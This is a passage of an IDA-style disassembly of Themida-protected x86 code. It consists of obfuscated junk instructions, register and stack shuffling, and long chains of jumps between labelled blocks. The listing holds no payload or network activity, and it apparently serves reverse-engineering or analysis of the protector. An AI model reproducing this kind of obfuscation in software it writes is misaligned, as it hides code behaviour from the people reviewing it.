ebx, 117C01F5h push ebx not dword ptr [esp] mov ebx, [esp] jmp loc_569DDB ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax push ebp push 4773h mov [esp], esp add dword ptr [esp], 4 pop ebp jmp loc_55E215 ; --------------------------------------------------------------------------- loc_56792B: ; CODE XREF: Themida_:00563D69j jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_567930: ; CODE XREF: Themida_:00560F57j xor edx, 47EC4197h shl edx, 2 xor edx, 6F7D5CB8h sub ecx, edx pop edx xchg ecx, [esp] pop esp jmp loc_560F77 ; --------------------------------------------------------------------------- loc_56794B: ; CODE XREF: Themida_:005600F5j not ecx add ecx, 1C8D7679h push ebp mov ebp, 7EF334AFh add ecx, ebp pop ebp add ebx, ecx jmp loc_57066C ; --------------------------------------------------------------------------- loc_567963: ; CODE XREF: Themida_:00567E09j sub esi, 20D0699Bh add esi, 57ED4C86h pop edx dec esi push 6D47h mov [esp], edx mov edx, 0DDA36C15h xor esi, edx mov edx, [esp] add esp, 4 sub eax, esi jmp loc_560398 ; --------------------------------------------------------------------------- loc_567990: ; CODE XREF: Themida_:0056C3A1j mov [esp], ebx push eax jmp loc_55F486 ; --------------------------------------------------------------------------- loc_567999: ; CODE XREF: Themida_:0056C7F4j mov [esp], esi push ebx push ecx jmp loc_569490 ; --------------------------------------------------------------------------- loc_5679A3: ; CODE XREF: Themida_:0056A68Bj add esp, 4 push eax mov al, dh mov bl, al pop eax jmp loc_562FEA ; --------------------------------------------------------------------------- loc_5679B1: ; CODE XREF: Themida_:00562E4Aj push esp jmp loc_5727AC ; --------------------------------------------------------------------------- loc_5679B7: ; CODE XREF: Themida_:0055FD6Cj sub ch, 88h add al, ch mov ecx, [esp] push ebp push esp jmp loc_56F8B7 ; --------------------------------------------------------------------------- loc_5679C6: ; CODE XREF: Themida_:0056830Dj mov ecx, [esp] add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] push dword ptr [esp] pop eax push 427Eh mov [esp], ecx jmp loc_56164E ; --------------------------------------------------------------------------- loc_5679E9: ; CODE XREF: Themida_:0056D051j shl eax, 6 jmp loc_55D985 ; --------------------------------------------------------------------------- loc_5679F1: ; CODE XREF: Themida_:0055DD3Fj mov [esp], ebp sub dword ptr [esp], 0FFFFFFFFh mov ebp, [esp] add esp, 4 add ebp, 38C76E01h jmp loc_56F300 ; --------------------------------------------------------------------------- loc_567A0C: ; CODE XREF: Themida_:0056EC61j mov ebp, 10h and ebx, ebp push dword ptr [esp] pop ebp sub esp, 4 mov [esp], ebx push esp push dword ptr [esp] pop ebx push eax jmp loc_564958 ; --------------------------------------------------------------------------- loc_567A28: ; CODE XREF: Themida_:00561D8Bj mov [esp], edi jmp loc_567D30 ; --------------------------------------------------------------------------- loc_567A30: ; CODE XREF: Themida_:0056EDFFj push ebx push ebp mov ebx, [esp] add esp, 4 pop ebp jmp loc_566E4C ; --------------------------------------------------------------------------- loc_567A3E: ; CODE XREF: Themida_:00571743j push 86E510Fh mov ebp, [esp] add esp, 4 jmp loc_5640A2 ; --------------------------------------------------------------------------- loc_567A51: ; CODE XREF: Themida_:0056F687j mov dh, 24h neg dh shl dh, 6 neg dh jmp loc_56A34C ; --------------------------------------------------------------------------- loc_567A5F: ; CODE XREF: Themida_:00565E28j not ebp xchg ebp, ecx jmp loc_566D2F ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx push eax sub esp, 4 mov [esp], esp sub esp, 4 mov [esp], ecx mov ecx, 4 add [esp+4], ecx pop ecx jmp loc_561EA7 ; --------------------------------------------------------------------------- loc_567A8E: ; CODE XREF: Themida_:00572996j pop ecx jmp loc_567AB3 ; --------------------------------------------------------------------------- loc_567A94: ; CODE XREF: Themida_:0056F227j pop esp sub esp, 4 mov [esp], esi jmp loc_56B9B6 ; --------------------------------------------------------------------------- loc_567AA3: ; CODE XREF: Themida_:005684B3j mov edi, 4 add [esp+4], edi pop edi pop edx jmp loc_56461D ; --------------------------------------------------------------------------- loc_567AB3: ; CODE XREF: Themida_:00567A8Fj push 19E2h mov [esp], ebp push ecx jmp loc_5691E3 ; --------------------------------------------------------------------------- loc_567AC1: ; CODE XREF: Themida_:00568E1Cj xor [esp], edx jmp loc_55FA74 ; --------------------------------------------------------------------------- loc_567AC9: ; CODE XREF: Themida_:00565367j push edx push esp pop edx add edx, 4 add edx, 4 jmp loc_55F305 ; --------------------------------------------------------------------------- loc_567ADA: ; CODE XREF: Themida_:005713F9j mov [esp], ecx mov ecx, 5BE91088h jmp loc_564663 ; --------------------------------------------------------------------------- loc_567AE7: ; CODE XREF: Themida_:0056E0CCj sub dword ptr [esp+4], 77162041h add [esp+4], ebp jmp loc_563386 ; --------------------------------------------------------------------------- loc_567AF8: ; CODE XREF: Themida_:0056E2C9j pop eax jmp loc_564348 ; --------------------------------------------------------------------------- loc_567AFE: ; CODE XREF: Themida_:005650D3j push edx push 0D966A85h mov edx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_56D3E0 ; --------------------------------------------------------------------------- loc_567B1B: ; CODE XREF: Themida_:0056CCFFj mov ebp, 0DDA13930h xor esi, ebp jmp loc_5691B8 ; --------------------------------------------------------------------------- loc_567B27: ; CODE XREF: Themida_:00572AF8j add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebx jmp loc_56E429 ; --------------------------------------------------------------------------- loc_567B3F: ; CODE XREF: Themida_:0056231Cj pop edx not ebp jmp loc_566939 ; --------------------------------------------------------------------------- loc_567B47: ; CODE XREF: Themida_:0056F815j xor eax, [esp] mov esp, [esp] mov cx, [esp] sub esp, 4 jmp loc_567089 ; --------------------------------------------------------------------------- loc_567B5C: ; CODE XREF: Themida_:00569701j xor ebp, 993A89CCh or ecx, ebp jmp loc_56B647 ; --------------------------------------------------------------------------- loc_567B69: ; CODE XREF: Themida_:005693ACj add esp, 4 push ebx push esp jmp loc_56C046 ; --------------------------------------------------------------------------- loc_567B73: ; CODE XREF: Themida_:0056B00Cj and edx, 540E1308h sub edx, 7D4E1FA8h inc edx xor edx, 6B592ABFh add edx, 4C642483h xor edx, 3E71D8EEh add edi, edx push dword ptr [esp] pop edx push ebp mov ebp, esp jmp loc_56AB68 ; --------------------------------------------------------------------------- loc_567BA0: ; CODE XREF: Themida_:0056D9C2j mov esp, [esp] jmp loc_561043 ; --------------------------------------------------------------------------- loc_567BA8: ; CODE XREF: Themida_:0055F24Bj mov [esp], edx mov dx, 719Bh push bx mov bx, 124Bh sub dx, 137h add dx, 219Fh add dx, bx jmp loc_56D971 ; --------------------------------------------------------------------------- loc_567BC7: ; CODE XREF: Themida_:0055EB52j add ah, dh pop edx sub esp, 4 mov [esp], edx mov dh, ah push eax mov al, dh jmp loc_56B64D ; --------------------------------------------------------------------------- loc_567BDD: ; CODE XREF: Themida_:00563F9Fj add ecx, eax jmp loc_55DF2E ; --------------------------------------------------------------------------- loc_567BE4: ; CODE XREF: Themida_:0055DB9Aj push edi push esp pop edi push ebx jmp loc_56D42D ; --------------------------------------------------------------------------- loc_567BED: ; CODE XREF: Themida_:0056639Bj add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], edx jmp loc_56B394 ; --------------------------------------------------------------------------- loc_567C07: ; CODE XREF: Themida_:00561D67j push 303Ch jmp loc_56E055 ; --------------------------------------------------------------------------- loc_567C11: ; CODE XREF: Themida_:00563053j mov ebx, 4 jmp loc_5639D6 ; --------------------------------------------------------------------------- loc_567C1B: ; CODE XREF: Themida_:0056073Cj mov edi, [esp] add esp, 4 add esp, 4 jmp loc_56FC97 ; --------------------------------------------------------------------------- loc_567C29: ; CODE XREF: Themida_:00570837j sub esi, 6E88EE8Ch add ebx, esi pop esi jmp loc_56ECF7 ; --------------------------------------------------------------------------- loc_567C37: ; CODE XREF: Themida_:0056A0A9j mov edi, 66963C10h add edi, 0E43827B4h and ebp, edi mov edi, [esp] add esp, 4 sub ebp, 0F851CD5Eh add ebx, ebp jmp loc_565DC3 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], edx push 3FA1h mov [esp], esp jmp loc_56114E ; --------------------------------------------------------------------------- loc_567C71: ; CODE XREF: Themida_:0056AFEDj xchg ecx, [esp] jmp loc_56EE58 ; --------------------------------------------------------------------------- loc_567C79: ; CODE XREF: Themida_:0056B774j add ebp, 67FB3C67h add ebp, 6F7F6006h jmp loc_56F25C ; --------------------------------------------------------------------------- loc_567C8A: ; CODE XREF: Themida_:00564247j xchg ebx, esi pop ebx push ebx push edi mov edi, 0AAA79C50h jmp loc_570170 ; --------------------------------------------------------------------------- loc_567C99: ; CODE XREF: Themida_:00564FC5j sub edi, 4 xchg edi, [esp] jmp loc_560DCD ; --------------------------------------------------------------------------- loc_567CA4: ; CODE XREF: Themida_:0056876Aj pop ecx not edi xchg edx, edi inc edx jmp loc_56AF18 ; --------------------------------------------------------------------------- loc_567CAF: ; CODE XREF: Themida_:005676D4j pop esp pop ecx sub ecx, 18FA2AD3h sub esp, 4 jmp loc_571E33 ; --------------------------------------------------------------------------- loc_567CC2: ; CODE XREF: Themida_:0055F9E7j pop edi xchg edx, [esp] mov esp, [esp] push dword ptr [esp] pop ebx push 2144h mov [esp], edx jmp loc_5635B0 ; --------------------------------------------------------------------------- loc_567CDA: ; CODE XREF: Themida_:0055F66Cj mov edx, 6E6A168Fh add ebx, edx pop edx push esi push ebp mov ebp, 25E02364h shl ebp, 1 and ebp, 4BC3EC4h jmp loc_5672BE ; --------------------------------------------------------------------------- loc_567CF6: ; CODE XREF: Themida_:00564730j push cx mov cl, 32h jmp loc_562B0E ; --------------------------------------------------------------------------- loc_567CFF: ; CODE XREF: Themida_:0056D836j sub esi, edi mov edi, [esp] jmp loc_5649A9 ; --------------------------------------------------------------------------- loc_567D09: ; CODE XREF: Themida_:0056EC44j mov ebx, 77D842FCh inc ebx shr ebx, 5 and ebx, 5504F9Ah jmp loc_56B6FD ; --------------------------------------------------------------------------- loc_567D1D: ; CODE XREF: Themida_:00562472j pop ecx push 4641h mov [esp], eax mov eax, 5B926F6Ch jmp loc_5634A5 ; --------------------------------------------------------------------------- loc_567D30: ; CODE XREF: Themida_:00567A2Bj push 3F11h mov [esp], edx mov edx, 1BDD4236h sub edx, 0FFFFFFFFh inc edx dec edx push ecx mov ecx, 7D730FDAh sub ecx, 7A75BF74h jmp loc_563837 ; --------------------------------------------------------------------------- loc_567D53: ; CODE XREF: Themida_:0056A0EAj pop edi pop dword ptr [esp] jmp loc_55FB4E ; --------------------------------------------------------------------------- loc_567D5C: ; CODE XREF: Themida_:00563DE7j or [edi+1Ch], edx push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop edx add esp, 4 push edi jmp loc_56A6BC ; --------------------------------------------------------------------------- loc_567D72: ; CODE XREF: Themida_:00571C0Aj and ecx, edi jmp loc_5610C2 ; --------------------------------------------------------------------------- loc_567D79: ; CODE XREF: Themida_:0056CFD0j pop eax sub al, dh mov edx, [esp] jmp loc_563668 ; --------------------------------------------------------------------------- loc_567D84: ; CODE XREF: Themida_:005699B0j and eax, edx pop edx or eax, eax jz loc_563244 push dword ptr [edi+28h] jmp loc_56F360 ; --------------------------------------------------------------------------- loc_567D97: ; CODE XREF: Themida_:0056286Ej sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], eax push esp mov eax, [esp] add esp, 4 jmp loc_571CB2 ; --------------------------------------------------------------------------- loc_567DB2: ; CODE XREF: Themida_:0056816Cj add edx, 4 add edx, 4 jmp loc_56F71A ; --------------------------------------------------------------------------- loc_567DC3: ; CODE XREF: Themida_:00566803j shr ecx, 0Bh push 1315h mov [esp], ebx push 58C9h jmp loc_566960 ; --------------------------------------------------------------------------- loc_567DD8: ; CODE XREF: Themida_:0056DCA6j add esp, 4 pop dword ptr [esp] mov esp, [esp] and eax, esi mov esi, [esp] push edi mov edi, esp jmp loc_56641E ; --------------------------------------------------------------------------- loc_567DEE: ; CODE XREF: Themida_:0056D72Aj pop esp push ecx push ebx mov ebx, 0A2E2283h jmp loc_56D7CE ; --------------------------------------------------------------------------- loc_567DFB: ; CODE XREF: Themida_:00565057j sub esi, 57ED4C86h add esi, 20D0699Bh add esi, edx jmp loc_567963 ; --------------------------------------------------------------------------- loc_567E0E: ; CODE XREF: Themida_:0056F726j mov edx, [esp] jmp loc_55F95E ; --------------------------------------------------------------------------- loc_567E16: ; CODE XREF: Themida_:00569641j mov esi, ebx push dword ptr [esp] pop ebx add esp, 4 or [edi+1Ch], esi mov esi, [esp] jmp loc_55DB63 ; --------------------------------------------------------------------------- loc_567E2A: ; CODE XREF: Themida_:00571C79j sub edx, 0FBE6F13Fh add ebp, edx mov edx, [esp] jmp loc_56812D ; --------------------------------------------------------------------------- loc_567E3A: ; CODE XREF: Themida_:00566E8Cj sub eax, edx pop edx push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] mov [esp], ebx mov bh, 4Bh xor bh, ah xor ah, bh xor bh, ah jmp loc_56B569 ; --------------------------------------------------------------------------- mov eax, [esp] push 6C3h mov [esp], ebx push esp jmp loc_55FA08 ; --------------------------------------------------------------------------- loc_567E6A: ; CODE XREF: Themida_:0056D213j pop ebx shl di, 6 shl di, 7 neg di or di, 57BBh jmp loc_562C9D ; --------------------------------------------------------------------------- loc_567E80: ; CODE XREF: Themida_:005700D9j add edi, esi sub edi, 163F487Bh pop esi add eax, 40AE67BFh jmp loc_56FE33 ; --------------------------------------------------------------------------- loc_567E93: ; CODE XREF: Themida_:0056BD2Cj or edx, 68AF50FDh sub edx, 0E9AF7EFBh add ebx, edx pop edx add ebx, 4 xchg ebx, [esp] jmp loc_56F898 ; --------------------------------------------------------------------------- loc_567EB0: ; CODE XREF: Themida_:0055E67Aj pop ebx push 6521h mov [esp], edi push dword ptr [esp] jmp loc_56FC45 ; --------------------------------------------------------------------------- loc_567EC1: ; CODE XREF: Themida_:0056F570j mov ebx, 51D96B6Eh or ebx, 329D5299h jmp loc_568439 ; --------------------------------------------------------------------------- loc_567ED1: ; CODE XREF: Themida_:005698B9j mov ah, 78h jmp loc_56697D ; --------------------------------------------------------------------------- mov cx, [esp] push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_55EFB1 ; --------------------------------------------------------------------------- loc_567EF0: ; CODE XREF: Themida_:00570FCFj mov [esp], edi jmp loc_567464 ; --------------------------------------------------------------------------- loc_567EF8: ; CODE XREF: Themida_:00560B53j add eax, 6F3512B4h mov edx, [esp] add esp, 4 push edi mov edi, 4 add eax, edi pop edi xchg eax, [esp] pop esp add al, bl add al, 26h push ebx jmp loc_5601E4 ; --------------------------------------------------------------------------- loc_567F1A: ; CODE XREF: Themida_:00568622j mov ah, bh mov ebx, [esp] jmp loc_56C398 ; --------------------------------------------------------------------------- loc_567F24: ; CODE XREF: Themida_:00568DCDj mov edi, 4 add [esp+4], edi pop edi jmp loc_56D18F ; --------------------------------------------------------------------------- loc_567F33: ; CODE XREF: Themida_:005646D9j jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_567F38: ; CODE XREF: Themida_:0056A380j add esp, 4 loc_567F3E: ; CODE XREF: Themida_:0056710Ej ; Themida_:005677C5j push dword ptr [esp] pop ebx push 7363h mov [esp], ecx push esp pop ecx push ebp jmp loc_567282 ; --------------------------------------------------------------------------- loc_567F52: ; CODE XREF: Themida_:0056AFC8j mov esp, [esp] mov [esp], esi mov esi, 3B8E40EEh xor ecx, esi jmp loc_571239 ; --------------------------------------------------------------------------- loc_567F64: ; CODE XREF: Themida_:0056B603j add edx, eax pop eax sub esp, 4 mov [esp], ebp push 276Bh mov [esp], ebx mov ebx, 76604A08h mov ebp, 76604A0Ch xor ebp, ebx push dword ptr [esp] pop ebx add esp, 4 sub esp, 4 jmp loc_56712E ; --------------------------------------------------------------------------- loc_567F96: ; CODE XREF: Themida_:00570E05j pop esp push 4709h mov [esp], ecx push esp pop ecx add ecx, 4 add ecx, 4 push 6598h mov [esp], ecx jmp loc_56A224 ; --------------------------------------------------------------------------- loc_567FBA: ; CODE XREF: Themida_:005656AFj sub esp, 4 mov [esp], esi jmp loc_5721DE ; --------------------------------------------------------------------------- loc_567FC8: ; CODE XREF: Themida_:0056D8A9j mov eax, 6F7D20BBh xchg eax, esi jmp loc_56AAB2 ; --------------------------------------------------------------------------- loc_567FD3: ; CODE XREF: Themida_:00562DA6j mov [esp], ebx mov bh, al mov dl, bh pop ebx pop eax sub dl, cl pop ecx jmp loc_568834 ; --------------------------------------------------------------------------- loc_567FE4: ; CODE XREF: Themida_:005650CDj mov [esp], eax push 7F4C13C4h jmp loc_5659D9 ; --------------------------------------------------------------------------- loc_567FF1: ; CODE XREF: Themida_:0056B3A5j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_56F5F9 ; --------------------------------------------------------------------------- loc_568009: ; CODE XREF: Themida_:00569945j pop edx push ebx mov ebx, 77B93961h and ebp, ebx pop ebx shr ebp, 4 push 7D9Ch jmp loc_56A0A6 ; --------------------------------------------------------------------------- loc_568020: ; CODE XREF: Themida_:0055E07Fj xor eax, [esp] mov esp, [esp] jmp loc_56B78D ; --------------------------------------------------------------------------- loc_56802B: ; CODE XREF: Themida_:0056F132j xor [esp], esi xor esi, [esp] mov esp, [esp] mov [esp], ebp push eax mov eax, 54761DE8h mov ebp, eax jmp loc_56C68D ; --------------------------------------------------------------------------- loc_568044: ; CODE XREF: Themida_:00570FFFj mov edi, 4DDC27D6h xor edi, 1E4447BEh sub edi, 50C837B9h add ebx, edi pop edi sub ebx, 5357AFA8h mov eax, ebx pop ebx add ebx, eax pop eax add ebx, 2F495D43h sub ebx, eax sub ebx, 2F495D43h push esi jmp loc_56D177 ; --------------------------------------------------------------------------- loc_568078: ; CODE XREF: Themida_:00571C1Bj add edi, ebp pop ebp push esi mov esi, esp jmp loc_5686D7 ; --------------------------------------------------------------------------- loc_568083: ; CODE XREF: Themida_:0056FF94j push 249Ah mov [esp], ebp push 7DF0h mov [esp], eax push ecx jmp loc_561423 ; --------------------------------------------------------------------------- loc_568099: ; CODE XREF: Themida_:0057298Dj pop esp xchg edi, [esp] mov esp, [esp] sub ebx, 7C303981h jmp loc_568D17 ; --------------------------------------------------------------------------- loc_5680AB: ; CODE XREF: Themida_:0056AC9Cj mov edx, 56381D2Eh jmp loc_56E080 ; --------------------------------------------------------------------------- loc_5680B5: ; CODE XREF: Themida_:00561B79j sub edi, 1C447D36h add edi, eax add edi, 1C447D36h pop eax sub edi, 0C2851A1h shl edi, 4 xor edi, 0F26B6F16h jmp loc_5713F4 ; --------------------------------------------------------------------------- loc_5680D8: ; CODE XREF: Themida_:0056AC35j mov edi, 68634023h jmp loc_56CD19 ; --------------------------------------------------------------------------- loc_5680E2: ; CODE XREF: Themida_:0055FBF6j pop ecx inc edi shl edi, 6 not edi xor edi, 0C026A9BBh add edx, edi push dword ptr [esp] mov edi, [esp] add esp, 4 push edx jmp loc_5663F4 ; --------------------------------------------------------------------------- loc_568100: ; CODE XREF: Themida_:00570481j mov ecx, esi mov esi, [esp] add esp, 4 mov ebp, [esp] add esp, 4 rep movsd jmp loc_56CEB1 ; --------------------------------------------------------------------------- loc_568118: ; CODE XREF: Themida_:005721D9j sub eax, edi mov edi, [esp] add esp, 4 jmp loc_55E8B6 ; --------------------------------------------------------------------------- loc_568125: ; CODE XREF: Themida_:005721BDj push dword ptr [esp] jmp loc_565DBA ; --------------------------------------------------------------------------- loc_56812D: ; CODE XREF: Themida_:00567E35j add esp, 4 add ecx, 0D75690Dh add ecx, ebp sub ecx, 0D75690Dh pop ebp jmp loc_56008B ; --------------------------------------------------------------------------- loc_568144: ; CODE XREF: Themida_:00561274j mov [esp], edi push 38A1h sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] push ebp mov ebp, 4 add [esp+4], ebp mov ebp, [esp] push edx mov edx, esp jmp loc_567DB2 ; --------------------------------------------------------------------------- loc_568171: ; CODE XREF: Themida_:0055E91Cj pop esp jmp loc_560D1C ; --------------------------------------------------------------------------- loc_568177: ; CODE XREF: Themida_:0056EB03j pop esp xor eax, edi mov edi, [esp] jmp loc_56A75D ; --------------------------------------------------------------------------- loc_568182: ; CODE XREF: Themida_:0056715Bj add esp, 4 sub edx, ebp add edx, 2E02255Fh pop ebp jmp loc_569845 ; --------------------------------------------------------------------------- loc_568193: ; CODE XREF: Themida_:0056D1B9j push ecx push edi jmp loc_56277E ; --------------------------------------------------------------------------- loc_56819A: ; CODE XREF: Themida_:0056B68Fj push eax mov eax, 37C2099Bh inc eax add eax, 75F219F8h or eax, 38206EA3h add eax, 57ACD0A9h add esi, eax pop eax sub esi, 84BCF808h add edi, esi mov esi, [esp] add esp, 4 add edi, 4 xchg edi, [esp] pop esp or edx, eax shl edx, 1 push dword ptr [edi+24h] push 52E4h mov [esp], edx push dword ptr [esp+4] push dword ptr [esp] jmp loc_56B20A ; --------------------------------------------------------------------------- loc_5681E9: ; CODE XREF: Themida_:0056957Dj inc ebx add ebx, 0CDF745FCh mov ebp, ebx pop ebx add eax, 566212A6h jmp loc_572518 ; --------------------------------------------------------------------------- loc_5681FD: ; CODE XREF: Themida_:00565953j and ecx, 2E325181h push eax mov eax, 7F422469h xor ecx, eax pop eax xor edi, ecx mov ecx, [esp] jmp loc_568C2F ; --------------------------------------------------------------------------- loc_568216: ; CODE XREF: Themida_:005719F7j add esp, 4 xchg eax, [esp] pop esp btr [esp], ax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_568228: ; CODE XREF: Themida_:00561CE3j mov esp, [esp] mov [esp], eax mov eax, 4 jmp loc_56ED2F ; --------------------------------------------------------------------------- loc_568238: ; CODE XREF: Themida_:0056BD66j mov bx, 39AEh add ax, 2510h jmp loc_55F828 ; --------------------------------------------------------------------------- loc_568245: ; CODE XREF: Themida_:0056C4B4j neg edi add edi, 0B4B922BFh add edx, edi pop edi dec edx add edx, 98ACA4FFh sub eax, edx jmp loc_55FC07 ; --------------------------------------------------------------------------- loc_56825E: ; CODE XREF: Themida_:00569471j push ecx push ebx jmp loc_560A1E ; --------------------------------------------------------------------------- loc_568265: ; CODE XREF: Themida_:0056B259j push dword ptr [esp] mov edi, [esp] jmp loc_5695BB ; --------------------------------------------------------------------------- loc_568270: ; CODE XREF: Themida_:00568557j mov [esp], esi mov esi, esp add esi, 4 jmp loc_568B6C ; --------------------------------------------------------------------------- loc_568280: ; CODE XREF: Themida_:0055E8BEj pop edi jmp loc_57225C ; --------------------------------------------------------------------------- loc_568286: ; CODE XREF: Themida_:0056E3BDj pop ecx jmp loc_55F9B2 ; --------------------------------------------------------------------------- loc_56828C: ; CODE XREF: Themida_:0056C1C7j mov edx, 3A1B4DCBh jmp loc_5634DC ; --------------------------------------------------------------------------- loc_568296: ; CODE XREF: Themida_:0056AF13j sub ah, 1 push bx mov bl, 79h xor ah, bl pop bx sub bl, ah pop eax sub al, bl pop ebx sub bl, 10h jmp loc_56E523 ; --------------------------------------------------------------------------- loc_5682AF: ; CODE XREF: Themida_:00566809j mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5713FE ; --------------------------------------------------------------------------- loc_5682BF: ; CODE XREF: Themida_:0056F4E0j sub esi, 8743F59Dh jmp loc_56B3F9 ; --------------------------------------------------------------------------- loc_5682CA: ; CODE XREF: Themida_:0056CBA8j add ebx, 4BD45F00h inc ebx jmp loc_5663D5 ; --------------------------------------------------------------------------- loc_5682D6: ; CODE XREF: Themida_:0056FF06j push edx jmp loc_56E4DF ; --------------------------------------------------------------------------- loc_5682DC: ; CODE XREF: Themida_:005614CCj and eax, ecx jmp loc_55F8F4 ; --------------------------------------------------------------------------- loc_5682E3: ; CODE XREF: Themida_:00565CDEj xchg eax, [esp] pop esp xchg edi, [esp] mov esp, [esp] jmp loc_55FC6A ; --------------------------------------------------------------------------- loc_5682F2: ; CODE XREF: Themida_:00562196j add ebx, 4 push esi mov esi, 4 add ebx, esi pop esi xchg ebx, [esp] pop esp push ecx mov ecx, 4 add edx, ecx jmp loc_5679C6 ; --------------------------------------------------------------------------- loc_568312: ; CODE XREF: Themida_:00565F70j or dl, 24h or dl, 5Bh push eax jmp loc_569483 ; --------------------------------------------------------------------------- loc_56831E: ; CODE XREF: Themida_:0055F760j push edi mov edi, 0B22A4538h add eax, edi jmp loc_569ABF ; --------------------------------------------------------------------------- loc_56832B: ; CODE XREF: Themida_:00570A06j push edx mov edx, 35AE43FCh not edx neg edx jmp loc_56AC84 ; --------------------------------------------------------------------------- loc_56833A: ; CODE XREF: Themida_:00572681j push edi mov edi, 45F722DEh jmp loc_56F6FF ; --------------------------------------------------------------------------- loc_568345: ; CODE XREF: Themida_:00560F8Ej push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] pop eax push edx mov edx, 4 add eax, edx jmp loc_56E872 ; --------------------------------------------------------------------------- loc_568365: ; CODE XREF: Themida_:00567023j dec esi sub esi, 6B73D2A3h mov edi, esi pop esi jmp loc_562E2F ; --------------------------------------------------------------------------- loc_568374: ; CODE XREF: Themida_:005603FDj mov eax, edi pop edi sub eax, 47F372AEh push ebp mov ebp, eax push edx mov edx, esp jmp loc_560360 ; --------------------------------------------------------------------------- loc_568387: ; CODE XREF: Themida_:0056FAC3j pop esp push ebx jmp loc_5693B1 ; --------------------------------------------------------------------------- loc_56838E: ; CODE XREF: Themida_:00560970j add esp, 4 sub eax, ebx push edi jmp loc_563170 ; --------------------------------------------------------------------------- loc_56839C: ; CODE XREF: Themida_:0056E7DCj sub dword ptr [esp+4], 6EFC4D4Eh add [esp+4], ebp add dword ptr [esp+4], 6EFC4D4Eh push edx mov edx, 3F3B000Dh add dword ptr [esp+8], 74F6252Fh sub [esp+8], edx sub dword ptr [esp+8], 74F6252Fh jmp loc_56E39A ; --------------------------------------------------------------------------- loc_5683CF: ; CODE XREF: Themida_:00564E33j dec ecx jmp loc_5641EC ; --------------------------------------------------------------------------- loc_5683D5: ; CODE XREF: Themida_:005697CAj push edi mov edi, 634F21D1h sub edi, 21B93731h neg edi jmp loc_5725D2 ; --------------------------------------------------------------------------- loc_5683E8: ; CODE XREF: Themida_:005609FAj sub eax, 742E8ECEh sub ebp, eax pop eax mov edi, ebp mov ebp, [esp] add esp, 4 add ecx, 4D731727h sub ecx, edi jmp loc_56355F ; --------------------------------------------------------------------------- loc_568408: ; CODE XREF: Themida_:0056FC1Aj xor ecx, 26D0DD7Ah sub edi, ecx jmp loc_570430 ; --------------------------------------------------------------------------- loc_568415: ; CODE XREF: Themida_:0056008Dj push edi mov edi, 222B2030h shl edi, 6 xor edi, 0C8FA7E4Ah or ecx, edi mov edi, [esp] add esp, 4 jmp loc_55DF26 ; --------------------------------------------------------------------------- loc_568431: ; CODE XREF: Themida_:005669A8j shr ebx, 5 jmp loc_56E60C ; --------------------------------------------------------------------------- loc_568439: ; CODE XREF: Themida_:00567ECCj sub ebx, 0A7DFC4Dh add edx, ebx mov ebx, [esp] jmp loc_56DE36 ; --------------------------------------------------------------------------- loc_568449: ; CODE XREF: Themida_:00566234j shr dh, 1 jmp loc_561B2A ; --------------------------------------------------------------------------- loc_568450: ; CODE XREF: Themida_:005606C4j shl edi, 8 add edi, 0E7413F3Fh inc edi or edi, 5A640820h shl edi, 4 shr edi, 7 shr edi, 2 jmp loc_56EAEB ; --------------------------------------------------------------------------- loc_56846E: ; CODE XREF: Themida_:00564BE6j mov [esp], ebx mov ebx, 76E7600Ah mov eax, 38564DAEh jmp loc_564AB7 ; --------------------------------------------------------------------------- loc_568480: ; CODE XREF: Themida_:0056B636j mov [esp], esi push edx mov edx, 4C6D1171h sub edx, 545455DEh jmp loc_560326 ; --------------------------------------------------------------------------- loc_568494: ; CODE XREF: Themida_:0056C784j add esp, 4 add esi, 2 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov dx, [esp] push edx push 62C7h push esp pop dword ptr [esp] push edi jmp loc_567AA3 ; --------------------------------------------------------------------------- loc_5684B8: ; CODE XREF: Themida_:00563980j sub esp, 4 mov [esp], ecx xchg edx, [esp] xchg esi, edx jmp loc_5712C0 ; --------------------------------------------------------------------------- loc_5684C8: ; CODE XREF: Themida_:0056F352j pop edx push ebx push ebp push 35A63AFAh mov ebp, [esp] add esp, 4 not ebp xor ebp, 0A80A8F22h push ebp pop ebx pop ebp dec ebx not ebx add ebx, 288F2BC9h inc ebx add ebx, 39C41E61h jmp loc_566BD7 ; --------------------------------------------------------------------------- loc_5684F6: ; CODE XREF: Themida_:005635A0j mov esi, 26FA7B72h add esi, 58AEBB8Dh and eax, esi pop esi sub eax, 43218114h add ebx, eax mov eax, [esp] add esp, 4 mov [edx+38h], ebx pop ebx jmp loc_56C637 ; --------------------------------------------------------------------------- loc_56851D: ; CODE XREF: Themida_:005652CCj mov ebx, eax mov eax, [esp] jmp loc_571B70 ; --------------------------------------------------------------------------- loc_568527: ; CODE XREF: Themida_:005624A7j shr ecx, 7 xor ecx, 37A33B2Ah jmp loc_55ED33 ; --------------------------------------------------------------------------- loc_568535: ; CODE XREF: Themida_:00569284j pop ecx and eax, ebx push dword ptr [esp] pop ebx add esp, 4 or eax, eax jz loc_562A84 push 4053h mov [esp], ebx push 7D7Bh jmp loc_568270 ; --------------------------------------------------------------------------- loc_56855C: ; CODE XREF: Themida_:0055DCFDj add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] idiv ecx jmp loc_564EE6 ; --------------------------------------------------------------------------- loc_568572: ; CODE XREF: Themida_:0056BC7Dj pop ebx jmp loc_56CF5A ; --------------------------------------------------------------------------- loc_568578: ; CODE XREF: 